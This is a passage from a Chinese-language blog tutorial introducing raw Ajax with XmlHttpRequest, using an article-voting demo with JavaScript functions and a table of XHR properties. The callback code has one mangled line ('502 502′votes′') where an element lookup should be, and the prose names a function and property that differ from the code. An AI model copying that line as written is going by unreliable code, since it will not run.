　　一切皆有可能！但愿它能够激发您开始开发自己的基于Ajax的站点。然而，在开始之前，让我们介绍一个现有的Web站点，它遵循传统的提交/等待/重新显示的范例，我们还将讨论Ajax如何提升用户体验。 <span id="more-482"></span></p>
<p>原始的Ajax：直接使用XmlHttpRequest </p>
<p>　　如上所述，Ajax的核心是JavaScript对象XmlHttpRequest。下面的示例文章评价系统将带您熟悉Ajax的底层基本知识：http://tearesolutions.com/ajax-demo/raw-ajax.html。注：如果您已经在本地WebLogic容器中安装了ajax-demo.war，可以导航到http://localhost:7001/ajax-demo/raw-ajax.html， </p>
<p>　　浏览应用程序，参与投票，并亲眼看它如何运转。熟悉了该应用程序之后，继续阅读，进一步了解其工作原理细节。<br />
　　首先，您拥有一些简单的定位点标记，它连接到一个JavaScriptcastVote(rank)函数。 </p>
<p>function castVote(rank) {<br />
var url = &#8220;/ajax-demo/static-article-ranking.html&#8221;;<br />
var callback = processAjaxResponse;<br />
executeXhr(callback, url);<br />
} </p>
<p>　　该函数为您想要与之通信的服务器资源创建一个URL并调用内部函数executeXhr，提供一个回调JavaScript函数，一旦服务器响应可用，该函数就被执行。由于我希望它运行在一个简单的Apache环境中，“cast vote URL”只是一个简单的HTML页面。在实际情况中，被调用的URL将记录票数并动态地呈现包含投票总数的响应。<br />
　　下一步是发出一个XmlHttpRequest请求： </p>
<p>function executeXhr(callback, url) {<br />
// branch for native XMLHttpRequest object<br />
if (window.XMLHttpRequest) {<br />
req = new XMLHttpRequest();<br />
req.onreadystatechange = callback;<br />
req.open(&#8220;GET&#8221;, url, true);<br />
req.send(null);<br />
} // branch for IE/Windows ActiveX version<br />
else if (window.ActiveXObject) {<br />
req = new ActiveXObject(&#8220;Microsoft.XMLHTTP&#8221;);<br />
if (req) {<br />
req.onreadystatechange = callback;<br />
req.open(&#8220;GET&#8221;, url, true);<br />
req.send();<br />
}<br />
}<br />
} </p>
<p>　　如您所见，执行一个XmlHttpRequest并不简单，但非常直观。和平常一样，在JavaScript领域，大部分的工作量都花在确保浏览器兼容方面。在这种情况下，首先要确定XmlHttpRequest是否可用。如果不能用，很可能要使用Internet Explorer，这样就要使用所提供的ActiveX实现。 </p>
<p>executeXhr()方法中最关键的部分是这两行： </p>
<p>req.onreadystatechange = callback;<br />
req.open(&#8220;GET&#8221;, url, true); </p>
<p>　　第一行定义了JavaScript回调函数，您希望一旦响应就绪它就自动执行，而req.open()方法中所指定的“true”标志说明您想要异步执行该请求。<br />
　　一旦服务器处理完XmlHttpRequest并返回给浏览器，使用req.onreadystatechange指派所设置的回调方法将被自动调用。<br />
function processAjaxResponse() {<br />
// only if req shows &#8220;loaded&#8221;<br />
if (req.readyState == 4) {<br />
// only if &#8220;OK&#8221;<br />
if (req.status == 200) {<br />
502 502&#8242;votes&#8217;).innerHTML = req.responseText;<br />
} else {<br />
alert(&#8220;There was a problem retrieving the XML data:<br />
&#8221; +<br />
req.statusText);<br />
}<br />
}<br />
} </p>
<p>　　该代码相当简洁，并且使用了几个幻数，这使得难以一下子看出发生了什么。为了弄清楚这一点，下面的表格（引用自http://developer.apple.com/internet/webcontent/xmlhttpreq.html）列举了常用的XmlHttpRequest对象属性。 </p>
<p>属性 </p>
<p>描述 </p>
<p>onreadystatechange </p>
<p>每次状态改变所触发事件的事件处理程序 </p>
<p>readyState </p>
<p>对象状态值： </p>
<p>* 0 = 未初始化（uninitialized）<br />
* 1 = 正在加载（loading）<br />
* 2 = 加载完毕（loaded）<br />
* 3 = 交互（interactive）<br />
* 4 = 完成（complete） </p>
<p>responseText </p>
<p>从服务器进程返回的数据的字符串形式 </p>
<p>responseXML </p>
<p>从服务器进程返回的DOM兼容的文档数据对象 </p>
<p>status </p>
<p>从服务器返回的数字代码，比如404（未找到）或200（就绪） </p>
<p>statusText </p>
<p>伴随状态码的字符串信息 </p>
<p>　　现在processVoteResponse()函数开始显示出其意义了。它首先检查 XmlHttpRequest的整体状态以保证它已经完成（readyStatus == 4），然后根据服务器的设定询问请求状态。如果一切正常（status == 200）,就使用innerHTML属性重写DOM的“votes”节点的内容。 </p>
<p>　　既然您亲眼看到了XmlHttpRequest对象是如何工作的，就让我们利用一个旨在简化JavaScript与Java应用程序之间的异步通信的框架来对具体的细节进行抽象。</p>
<h2  class="related_post_title">相关博文</h2><ul class="related_post"><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eejaxeeeeee.html" title="使用Ajax时的十个常犯的错误">使用Ajax时的十个常犯的错误</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajaxxuan.html" title="ajax的缺点">ajax的缺点</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eesoneeajaxeehuai.html" title="基于JSON的高级AJAX开发技术">基于JSON的高级AJAX开发技术</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajax.html" title="AJAX的各种控件和类库">AJAX的各种控件和类库</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/xmlhttpe.html" title="XMLHTTP对象封装技术">XMLHTTP对象封装技术</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeecketee.html" title="PHP和Socket简介">PHP和Socket简介</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajaxeeaoe.html" title="AJAX应用程序开发七宗罪">AJAX应用程序开发七宗罪</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/rsyncxiangjie.html" title="Rsync详解">Rsync详解</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/mysqlyouhuajiquanwensousuo.html" title="mysql优化及全文搜索">mysql优化及全文搜索</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajaxeeieeeeeting.html" title="AJAX初学:IE缓存页面的问题">AJAX初学:IE缓存页面的问题</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eejaxeeetpit.html" title="了解Ajax中的Get和Post ">了解Ajax中的Get和Post </a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eeeeeeee.html" title="最令PHP初学者头痛的十四个问题">最令PHP初学者头痛的十四个问题</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeefangeredoc.html" title="php的文档句法(heredoc)<<<和PHP字符串操作">php的文档句法(heredoc)<<<和PHP字符串操作</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/peeeeee.html" title="深入探讨PHP中的内存管理问题">深入探讨PHP中的内存管理问题</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajaxeeeeseeao.html" title="ajax基础知识:js事件触发大全">ajax基础知识:js事件触发大全</a> (0)</li></ul>
	标签Tags：<a href="http://www.5bay.cn/tag/ajax" title="ajax" rel="tag">ajax</a>, <a href="http://www.5bay.cn/tag/html" title="html" rel="tag">html</a>, <a href="http://www.5bay.cn/tag/ie" title="ie" rel="tag">ie</a>, <a href="http://www.5bay.cn/tag/javascript" title="javascript" rel="tag">javascript</a>, <a href="http://www.5bay.cn/category/network-programming/javascript-ajax" title="JavaScript&amp;Ajax" rel="tag">JavaScript&amp;Ajax</a>, <a href="http://www.5bay.cn/tag/status" title="status" rel="tag">status</a>, <a href="http://www.5bay.cn/tag/url" title="url" rel="tag">url</a>, <a href="http://www.5bay.cn/tag/web" title="web" rel="tag">web</a>, <a href="http://www.5bay.cn/tag/xml" title="xml" rel="tag">xml</a>, <a href="http://www.5bay.cn/tag/xmlhttp" title="xmlhttp" rel="tag">xmlhttp</a>, <a href="http://www.5bay.cn/tag/%E4%BB%A3%E7%A0%81" title="代码" rel="tag">代码</a>, <a href="http://www.5bay.cn/tag/%E5%85%BC%E5%AE%B9" title="兼容" rel="tag">兼容</a>, <a href="http://www.5bay.cn/tag/%E5%87%BD%E6%95%B0" title="函数" rel="tag">函数</a>, <a href="http://www.5bay.cn/tag/%E5%88%86%E9%A1%B5" title="分页" rel="tag">分页</a>, <a href="http://www.5bay.cn/tag/%E5%AE%B9%E5%99%A8" title="容器" rel="tag">容器</a>, <a href="http://www.5bay.cn/tag/%E5%AF%B9%E8%B1%A1" title="对象" rel="tag">对象</a>, <a href="http://www.5bay.cn/tag/%E5%B1%9E%E6%80%A7" title="属性" rel="tag">属性</a>, <a href="http://www.5bay.cn/tag/%E5%B8%B8%E7%94%A8" title="常用" rel="tag">常用</a>, <a href="http://www.5bay.cn/tag/%E5%BA%94%E7%94%A8%E7%A8%8B%E5%BA%8F" title="应用程序" rel="tag">应用程序</a>, <a href="http://www.5bay.cn/tag/%E5%BC%95%E5%85%A5" title="引入" rel="tag">引入</a>, <a href="http://www.5bay.cn/tag/%E6%95%B0%E6%8D%AE" title="数据" rel="tag">数据</a>, <a href="http://www.5bay.cn/tag/%E6%96%B9%E6%B3%95" title="方法" rel="tag">方法</a>, <a href="http://www.5bay.cn/tag/%E6%9B%B4%E6%96%B0" title="更新" rel="tag">更新</a>, <a href="http://www.5bay.cn/tag/%E6%B5%8F%E8%A7%88%E5%99%A8" title="浏览器" rel="tag">浏览器</a>, <a href="http://www.5bay.cn/tag/%E7%A8%8B%E5%BA%8F" title="程序" rel="tag">程序</a>, <a href="http://www.5bay.cn/tag/%E7%B3%BB%E7%BB%9F" title="系统" rel="tag">系统</a>, <a href="http://www.5bay.cn/category/network-programming" title="网络编程" rel="tag">网络编程</a>, <a href="http://www.5bay.cn/tag/%E8%8A%82%E7%82%B9" title="节点" rel="tag">节点</a>, <a href="http://www.5bay.cn/tag/%E8%A1%A8%E6%A0%BC" title="表格" rel="tag">表格</a>, <a href="http://www.5bay.cn/tag/e" title="诫" rel="tag">诫</a>, <a href="http://www.5bay.cn/tag/%E8%AF%B4%E6%98%8E" title="说明" rel="tag">说明</a>, <a href="http://www.5bay.cn/tag/%E8%BF%9E%E6%8E%A5" title="连接" rel="tag">连接</a>, <a href="http://www.5bay.cn/tag/%E9%A1%B5%E9%9D%A2" title="页面" rel="tag">页面</a><br />

	<h4>相关日志</h4>
	<ul class="st-related-posts">
	<li><a href="http://www.5bay.cn/network-programming/eejaxeeeeee.html" title="使用Ajax时的十个常犯的错误 (2010年07月26日)">使用Ajax时的十个常犯的错误</a> (0)</li>
	<li><a href="http://www.5bay.cn/network-programming/eesoneeajaxeehuai.html" title="基于JSON的高级AJAX开发技术 (2010年07月26日)">基于JSON的高级AJAX开发技术</a> (0)</li>
	<li><a href="http://www.5bay.cn/network-programming/ajaxxuan.html" title="ajax的缺点 (2010年07月26日)">ajax的缺点</a> (0)</li>
	<li><a href="http://www.5bay.cn/network-programming/ajax.html" title="AJAX的各种控件和类库 (2010年07月26日)">AJAX的各种控件和类库</a> (0)</li>
	<li><a href="http://www.5bay.cn/network-programming/xmlhttpe.html" title="XMLHTTP对象封装技术 (2010年07月26日)">XMLHTTP对象封装技术</a> (0)</li>
</ul>

]]></content:encoded>
			<wfw:commentRss>http://www.5bay.cn/network-programming/ajaxeeee.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
